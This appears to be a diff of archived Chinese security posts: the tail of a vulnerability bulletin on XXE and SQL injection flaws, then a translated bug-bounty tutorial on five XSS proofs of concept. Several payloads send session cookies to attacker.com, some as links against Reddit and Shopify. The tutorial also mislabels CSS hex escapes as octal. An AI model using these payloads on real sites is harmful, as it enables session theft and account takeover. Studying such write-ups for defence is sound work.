及时更新至最新版本,限制访问和过滤用户输入可帮助减少风险,建议在服务器配置中禁用外部实体解析以及合理设置应用程序或服务的权限,以防止XML外部实体注入漏洞。
|
||||
|
||||
**影响范围:**
|
||||
|
||||
根据ZoomEye网络空间搜索引擎关键字 app="扁鹊飞救区域协同急救与智能质控系统" 对潜在可能目标进行搜索,共得到308条IP历史记录。主要分布在中国江苏、北京等地。
|
||||
|
||||
(ZoomEye搜索链接:
|
||||
|
||||
https://www.zoomeye.org/searchResult?q=app%3D%22%E6%89%81%E9%B9%8A%E9%A3%9E%E6%95%91%E5%8C%BA%E5%9F%9F%E5%8D%8F%E5%90%8C%E6%80%A5%E6%95%91%E4%B8%8E%E6%99%BA%E8%83%BD%E8%B4%A8%E6%8E%A7%E7%B3%BB%E7%BB%9F%22)
|
||||
|
||||

|
||||
|
||||
**区域分布:**
|
||||
|
||||

|
||||
|
||||
|
||||
9、安校易智慧综合管理平台 ADTag_Info.ashx SQL注入
|
||||
|
||||
**发布时间:**
|
||||
2025-05-29
|
||||
|
||||
**漏洞等级:**
|
||||
高危
|
||||
|
||||
**漏洞来源:**
|
||||
创宇安全智脑
|
||||
|
||||
**漏洞描述:**
|
||||
|
||||
安校易智慧综合管理平台是一款以物联网技术为基础、学生管理为中心的一站式管理系统。安校易智慧综合管理平台 ADTag_Info.ashx 接口存在SQL注入漏洞。恶意攻击者可以利用该漏洞执行恶意的注入语句,获取敏感数据或篡改数据库。
|
||||
|
||||
**漏洞危害:**
|
||||
|
||||
恶意攻击者可以利用该漏洞执行恶意的注入语句,获取敏感数据或篡改数据库。
|
||||
|
||||
**建议解决方案:**
|
||||
|
||||
及时更新至最新版本,使用参数化查询或预编译语句并对输入进行过滤和验证,以防止SQL注入攻击。
|
||||
|
||||
**影响范围:**
|
||||
|
||||
根据ZoomEye网络空间搜索引擎关键字 app="安校易智慧综合管理平台" 对潜在可能目标进行搜索,共得到440条IP历史记录。主要分布在中国、美国等国家。
|
||||
|
||||
(ZoomEye搜索链接:
|
||||
|
||||
https://www.zoomeye.org/searchResult?q=app%3D%22%E5%AE%89%E6%A0%A1%E6%98%93%E6%99%BA%E6%85%A7%E7%BB%BC%E5%90%88%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0%22)
|
||||
|
||||

|
||||
|
||||
**区域分布:**
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
ScanV
|
||||
|
||||
|
||||
|
||||
为网站及业务系统提供全生命周期的外部攻击面管理(EASM)能力,从攻击者视角出发,开展漏洞监测、漏洞响应、漏洞预警等深度漏洞治理工作,实时更新漏洞情报数据,持续性跟踪风险、快速定位威胁。
|
||||
|
||||
WebSOC
|
||||
|
||||
|
||||
|
||||
是面向行业区域监管机构、集团信息中心量身定制的能大范围快速发现高危Web漏洞及安全事件的硬件监测系统,产品具备扫描快、结果准、取证全的核心特质,能帮助客户快速、全面发现其管辖区域内的安全事件,生成完整通报证据链,方便通报到相关单位以促使其快速整改,帮助监管机构有效履行监管职责。
|
||||
|
||||
ZoomEye Pro
|
||||
|
||||
|
||||
|
||||
是面向企事业单位研发的一款网络资产扫描与管理系统。采用对全球测绘10余年的ZoomEye同款主动探测引擎,结合被动探测引擎,以及与ZoomEye云地联动的方式,能够全面采集内外网资产并统一管理。基于SeeBug漏洞平台、创宇安全智脑的能力,能够快速更新高威胁漏洞插件并对全部资产进行漏洞影响面分析。具备资产发现能力快速精准、资产指纹信息丰富、资产分类清晰直观、漏洞响应能力强的特点。帮助客户从攻击者视角持续发现内外网资产以及高风险问题,有效降低安全风险。
|
||||
|
||||
|
||||
为帮助您快速感知威胁,激活防御体系,守护业务安全!
|
||||
|
||||
|
||||
我们建议您订阅**创宇安全智脑-威胁情报订阅服务**
|
||||
,获取更多威胁情报详情以及处置建议。
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
**点击阅读原文****获取更多信息**
|
||||
|
||||
|
||||
@@ -0,0 +1,172 @@
|
||||
# 赚取50000美元的5个顶级 XSS PoC
|
||||
原创 骨哥说事 骨哥说事 2025-06-05 02:19
|
||||
|
||||
<table><tbody><tr><td data-colwidth="557" width="557" valign="top" style="word-break: break-all;"><h1 data-selectable-paragraph="" style="white-space: normal;outline: 0px;max-width: 100%;font-family: -apple-system, system-ui, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 15px;"><span leaf="">声明:</span></span></strong></span><span style="font-size: 15px;"></span></span></strong><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;"><span leaf="">文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。</span></span></span></h1></td></tr></tbody></table>#
|
||||
|
||||
#
|
||||
|
||||
****# 防走失:https://gugesay.com/archives/4420
|
||||
|
||||
******不想错过任何消息?设置星标****↓ ↓ ↓**
|
||||
****
|
||||
#
|
||||
|
||||
|
||||

|
||||
|
||||
通过 5 个顶级 PoC 学习精英白帽寻找 XSS 的方法与技巧。
|
||||
# PoC1:文件上传+CSRF
|
||||
1. 寻找易受攻击的端点
|
||||
|
||||
1. 在支持聊天功能的窗口拦截文件上传(Burp Suite → POST /upload_file )
|
||||
|
||||
1. 关键特征:请求中未包含CSRF Token
|
||||
|
||||
1. 创建Payload:
|
||||
|
||||
```
|
||||
"><img src=1 onerror=" url=String.fromCharCode(104,116,116,112,...); // Convert attacker URL to ASCII xhttp=new XMLHttpRequest(); xhttp.open('GET',url+document.cookie,true); // Steal cookies xhttp.send();">
|
||||
```
|
||||
|
||||
使用ASCII转换进行URL编码。
|
||||
1. 执行攻击: A. 上传带有恶意文件名的文件 B. 当受害者查看聊天时→Payload会自动触发 C. 攻击者获得受害者的会话Cookie
|
||||
|
||||
1. 影响&教训
|
||||
|
||||
1. 文件上传中的XSS“金矿”
|
||||
|
||||
1. onerror
|
||||
无需用户点击的触发器
|
||||
|
||||
1. ASCII编码的绕过技巧
|
||||
|
||||
1. 影响:帐户完全接管
|
||||
|
||||
1. 经验与教训:
|
||||
|
||||
# PoC2:重定向XSS
|
||||
1. 寻找易受攻击的端点
|
||||
|
||||
1. 登录后测试所有重定向参数:https://accounts.reddit.com/?dest=TEST
|
||||
|
||||
1. 触发条件:Payload在登录后执行
|
||||
|
||||
1. 创建Payload:
|
||||
|
||||
https://accounts.reddit.com/?dest=javascript:fetch('//attacker.com?c='+btoa(document.cookie))
|
||||
|
||||
如果被阻止,可对特殊字符进行编码( 如:%28 = ( , %29 = ) )
|
||||
1. 执行攻击:
|
||||
|
||||
1. 向受害者发送恶意链接
|
||||
|
||||
1. 受害者登录 → Payload在重定向后执行
|
||||
|
||||
1. 攻击者获得受害者会话令牌
|
||||
|
||||
1. 影响&教训:
|
||||
|
||||
1. javascript:
|
||||
在认证后重定向中生效
|
||||
|
||||
1. 始终测试认证流程中的参数(如:dest , redirect_uri 等)
|
||||
|
||||
1. 影响:帐户劫持
|
||||
|
||||
1. 经验与教训:
|
||||
|
||||
# PoC3:Email 过滤绕过
|
||||
1. 寻找漏洞端点:
|
||||
|
||||
1. HTML 邮件处理系统
|
||||
|
||||
1. 关键特征:CSS url(cid://)
|
||||
渲染 HTML
|
||||
|
||||
1. 创建Payload:
|
||||
|
||||
```
|
||||
<style>url(cid://\00003c\000073\000063\000072\000069\000070\000074\00003e fetch('//attacker.com?'+document.cookie)\00003c\00002f\000073\000063\000072\000069\000070\000074\00003e);</style>
|
||||
```
|
||||
|
||||
\00003c
|
||||
等于 <
|
||||
的八进制编码
|
||||
1. 执行攻击:
|
||||
|
||||
A. 发送包含Payload的原始邮件 B. 受害者打开邮件 → 过滤器失效 → Payload 执行 C. 攻击者劫持邮件转发规则
|
||||
1. 影响&教训:
|
||||
|
||||
1. 使用八进制编码绕过 HTML 过滤器
|
||||
|
||||
1. CSS url()
|
||||
技巧
|
||||
|
||||
1. 使用原始 HTML 测试电子邮件客户端
|
||||
|
||||
1. 影响:邮件帐户被攻破
|
||||
|
||||
1. 经验与教训:
|
||||
|
||||
# PoC4:OAuth XSS
|
||||
1. 寻找易受攻击的端点:
|
||||
|
||||
1. 初始化: /services/login/identity?google_apps_uri=...
|
||||
|
||||
1. 在“使用Google 登录”流程中触发
|
||||
|
||||
1. 创建Payload:
|
||||
|
||||
https://app.shopify.com/services/login/identity?google_apps_uri=javascript:fetch('//attacker.com?c='+document.cookie)
|
||||
1. 执行攻击:
|
||||
|
||||
A. 诱使受害者点击恶意链接 B. 受害者通过 Google 登录 → Payload在过程中成功执行 C. 管理员 Cookie 被窃取
|
||||
1. 影响&教训:
|
||||
|
||||
1. 测试所有 OAuth 回调参数
|
||||
|
||||
1. javascript:
|
||||
同样适用于第三方认证流程
|
||||
|
||||
1. 员工/管理员账户是高价值目标
|
||||
|
||||
1. Shopify 商店劫持
|
||||
|
||||
1. 经验与教训:
|
||||
|
||||
# PoC5:Markdown XSS + CSP 绕过
|
||||
|
||||
1.寻找漏洞端点: - Markdown 编辑器(issues、维基) - 关键标志:允许的 HTML 属性,如 data-sourcepos
|
||||
2.创建Payload:
|
||||
```
|
||||
<pre data-sourcepos=""%22 href="x"></pre><base href="https://attacker.com"> <!-- Hijack resources --><pre x=""><code></code></pre>
|
||||
```
|
||||
1. 执行攻击: A. 在问题描述中提交Payload B. 受害者查看问题 → 从 attacker.com 加载脚本 C. 恶意 JS 在有效的 CSP nonce 下运行
|
||||
|
||||
1. 影响&教训:
|
||||
|
||||
1. <base>
|
||||
标签绕过 CSP
|
||||
|
||||
1. 混乱的 HTML 混淆过滤器
|
||||
|
||||
1. 缺失资源=利用机会
|
||||
|
||||
1. 影响:完全账户接管 + SSO 访问
|
||||
|
||||
1. 经验与教训:
|
||||
|
||||
> “ XSS与复杂性无关,而是要寻找开发人员忘记验证的位置,从文件上传和重定向开始,这些都是唾手可得的果实!”
|
||||
|
||||
|
||||
原文:https://infosecwriteups.com/top-xss-pocs-that-made-50000-1691200eb599
|
||||
|
||||
- END -
|
||||
|
||||
**加入星球,随时交流:**
|
||||
|
||||
**********(会员统一定价):128元/年(0.35元/天)******
|
||||

|
||||
|
||||
**感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~**
|
||||
|
||||
Reference in new issue
Block a user